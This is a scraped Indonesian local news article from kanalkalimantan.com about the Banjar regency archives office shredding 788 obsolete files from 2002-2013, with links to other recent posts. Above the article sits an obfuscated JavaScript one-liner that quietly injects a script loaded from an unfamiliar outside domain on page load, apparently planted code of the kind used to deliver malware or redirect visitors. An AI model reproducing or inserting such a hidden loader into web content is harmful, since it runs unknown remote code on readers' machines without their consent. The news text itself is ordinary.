(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Dispersip Banjar Musnahkan 788 Arsip Rentang Waktu 2002-2013 Â


KANALKALIMANTAN.COM, MARTAPURA – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Banjar lakukan pemusnahan arsip yang sudah tak bernilai guna, di Depo Arsip Martapura, Indrasari Kabupaten Banjar, Selasa (15/12/2020).

Adapun arsip yang dimusnahkan tersebut milik Dinas Pendidikan Kabupaten Banjar dan Kantor Perpustakaan Arsip dan Dokumentasi (KPAD) yang terkumpul dalam kurun waktu 12 tahun, yakni dari 2002-2013.

Pemusnahan tersebut dilakukan secara simbolis Sekda Banjar HM Hilman dengan cara dicacah dan disaksikan Kepala Inspektorat, Kepala Bagian Hukum Setda Banjar, Plt Kepala Dinas Pendidikan serta Dinas Perpustakaan dan Kearsipan Kabupaten Banjar.

Sekda Banjar HM Hilman mengatakan, pemusnahan arsip tersebut dilakukan sudah dua kali, sejak Kabupaten Banjar berdiri 72 tahun yang lalu.

 

Sekda Banjar HM Hilman meninjau arsip dan dokumen di ruang depo arsip Dispersip Banjar. Foto: mckominfo banjar

“Pemusnahan arsip ini diatur oleh Undang-Undang Nomor 43, karena arsip ini adalah bagian dari sejarah dan juga bagian dari masa depan,” terangnya.

Hilman menambahkan arsip yang dimusnahkan saat ini adalah arsip yang tidak bernilai lagi, sehingga ada ruang kembali untuk arsip-arsip baru.

Sementara itu, Kepala Dispersip Kabupaten Banjar Yasna Khairina menjelaskan, arsip yang dimusnahkan adalah milik Disdik dan Dispersip Banjar.

“Sebanyak 577 berkas dari Dinas Pendidikan, yang dimuskan sementara dari Kantor Perpustakaan Arsip dan Dokumentasi Banjar ada 211 berkas yang juga kita musnahkan,” ujarnya.

Kegiatan ini diakhiri dengan peninjauan ke ruang arsip dan dokumen, penyerahan serta penandatanganan arsip permanen oleh Kepala Dispersip Banjar kepada Plt Kepala Dinas Pendidikan Banjar. Karena masih bernilai guna dan tidak akan pernah dimusnahkan, bernilai sejarah, dan menyangkut peraturan-peraturan yang harus dilestarikan. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.